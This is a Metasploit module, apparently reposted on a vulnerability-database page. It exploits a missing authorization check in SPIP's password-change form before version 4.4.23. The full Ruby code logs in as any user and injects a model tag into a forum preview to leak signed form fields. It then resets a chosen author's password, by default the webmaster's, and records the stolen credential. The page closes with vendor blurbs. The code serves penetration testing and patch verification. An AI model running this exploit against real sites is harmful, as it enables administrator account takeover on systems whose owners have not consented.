SPIP Password Change IDOR Privilege Escalation
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Spip
include Msf::Auxiliary::Report
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SPIP Password Change IDOR Privilege Escalation',
'Description' => %q{
SPIP before 4.4.23 has a missing authorization check in the
mot_de_passe CVT form handler. The traiter function changes
any user's password when given a validly-signed form POST,
without verifying the caller is authorized for that id_auteur.
An authenticated user injects a SPIP model tag into a forum
message preview. The model <formulaire|mot_de_passe|id_auteur=N>
causes the server to render the password form for user N and
HMAC-sign the form arguments. The preview replaces <form> tags
with <div> but leaves hidden inputs intact, leaking the signed
arguments. Submitting them changes the target user's password.
},
'Author' => [
'Julien Voisin', # Metasploit module
'0xkidz' # Discovery
],
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-4-23.html']
],
'DisclosureDate' => '2026-09-02',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],
'Reliability' => []
}
)
)
register_options([
OptString.new('USERNAME', [true, 'SPIP username (any authenticated account)']),
OptString.new('PASSWORD', [true, 'Password for the SPIP account']),
OptInt.new('TARGET_ID', [true, 'Author ID whose password to change (1 = webmaster)', 1]),
OptString.new('NEW_PASSWORD', [false, 'New password (random if blank)'])
])
end
def check
rversion = spip_version || spip_plugin_version('spip')
return Exploit::CheckCode::Unknown('Unable to determine SPIP version') unless rversion
print_status("SPIP version: #{rversion}")
return Exploit::CheckCode::Safe("SPIP #{rversion} is patched") if rversion >= Rex::Version.new('4.4.23')
Exploit::CheckCode::Appears("SPIP #{rversion} lacks authorization on password change form")
end
# Inject <formulaire|mot_de_passe|id_auteur=N> into each discovered forum preview
# and return the leaked CVT fields for the password form.
def inject_model_via_forum(target_id)
model_tag = "<formulaire|mot_de_passe|id_auteur=#{target_id}>"
forum_targets.each do |target|
result = try_forum_preview(model_tag, target)
return result if result
end
nil
end
def try_forum_preview(model_tag, target)
vprint_status("Trying #{target[:label]}...")
res = send_request_cgi(
'method' => 'GET',
'uri' => target[:uri],
'cookie' => @spip_cookie,
'vars_get' => target[:params]
)
return unless res&.code == 200
cvt = spip_extract_cvt_fields(res.get_html_document, target[:form_action])
return unless cvt
vprint_good("Forum form found: #{target[:label]}")
res = send_request_cgi(
'method' => 'POST',
'uri' => target[:uri],
'cookie' => @spip_cookie,
'vars_get' => target[:params],
'vars_post' => target.fetch(:post_extra, {}).merge(
'formulaire_action' => target[:form_action],
'formulaire_action_args' => cvt['args'],
'formulaire_action_sign' => cvt['sign'],
'texte' => model_tag,
'titre' => Rex::Text.rand_text_alpha(8)
)
)
return unless res
cvt = spip_extract_cvt_fields(res.get_html_document, 'mot_de_passe')
return unless cvt
print_good("Extracted signed password form from #{target[:label]}")
cvt
end
def forum_targets
ecrire_uri = normalize_uri(target_uri.path, 'ecrire/')
public_uri = normalize_uri(target_uri.path, 'spip.php')
targets = []
# Private forums: rubrique #1 always exists, then scrape the dashboard for more
discover_object_ids.each do |objet, id|
targets << {
label: "private #{objet} ##{id}",
uri: ecrire_uri,
form_action: 'forum_prive',
params: { 'exec' => 'forum', 'repondre' => 'new', 'objet' => objet, 'id_objet' => id }
}
end
# Public forums on discovered articles
discover_article_ids.each do |id|
targets << {
label: "public article ##{id}",
uri: public_uri,
form_action: 'forum',
params: { 'page' => 'forum', 'id_article' => id },
post_extra: { 'page' => 'forum', 'id_article' => id }
}
end
targets
end
def discover_object_ids
pairs = [['rubrique', 1]]
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'ecrire/'),
'cookie' => @spip_cookie,
'vars_get' => { 'exec' => 'accueil' }
)
if res&.code == 200
res.body.scan(/id_article=(\d+)/) { |m| pairs << ['article', m[0].to_i] }
res.body.scan(/id_rubrique=(\d+)/) { |m| pairs << ['rubrique', m[0].to_i] }
end
pairs.uniq
end
def discover_article_ids
ids = []
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, ''),
'cookie' => @spip_cookie
)
if res&.code == 200
res.body.scan(/spip\.php\?article(\d+)/) { |m| ids << m[0].to_i }
res.body.scan(/id_article=(\d+)/) { |m| ids << m[0].to_i }
end
ids.uniq.sort
end
def run
begin
spip_login(datastore['USERNAME'], datastore['PASSWORD'])
rescue Rex::RuntimeError => e
fail_with(Failure::NoAccess, e.message)
end
print_good("Authenticated as '#{datastore['USERNAME']}'")
target_id = datastore['TARGET_ID']
print_status("Injecting model to render password form for author ##{target_id}...")
cvt = inject_model_via_forum(target_id)
fail_with(Failure::NotVulnerable, "Could not render password form for author ##{target_id}") unless cvt
pass = datastore['NEW_PASSWORD'].blank? ? Rex::Text.rand_text_alphanumeric(16) : datastore['NEW_PASSWORD']
print_status("Submitting password change for author ##{target_id}...")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'spip.php'),
'cookie' => @spip_cookie,
'vars_post' => {
'formulaire_action' => 'mot_de_passe',
'formulaire_action_args' => cvt['args'],
'formulaire_action_sign' => cvt['sign'],
'oubli' => pass,
'oubli_confirm' => pass,
'nobot' => ''
}
)
fail_with(Failure::Unreachable, 'Target did not respond') unless res
fail_with(Failure::UnexpectedReply, "Unexpected HTTP #{res.code}") unless res.code == 200
if res.get_html_document.at_css('.reponse_formulaire_erreur')
fail_with(Failure::UnexpectedReply, 'Password change was rejected by the server')
end
print_good("Password for author ##{target_id} changed to: #{pass}")
report_vuln(host: rhost, port: rport, name: name, refs: references)
store_valid_credential(user: "author_#{target_id}", private: pass)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
02 Sep 2026 00:00Current
6Medium risk
Vulners AI Score6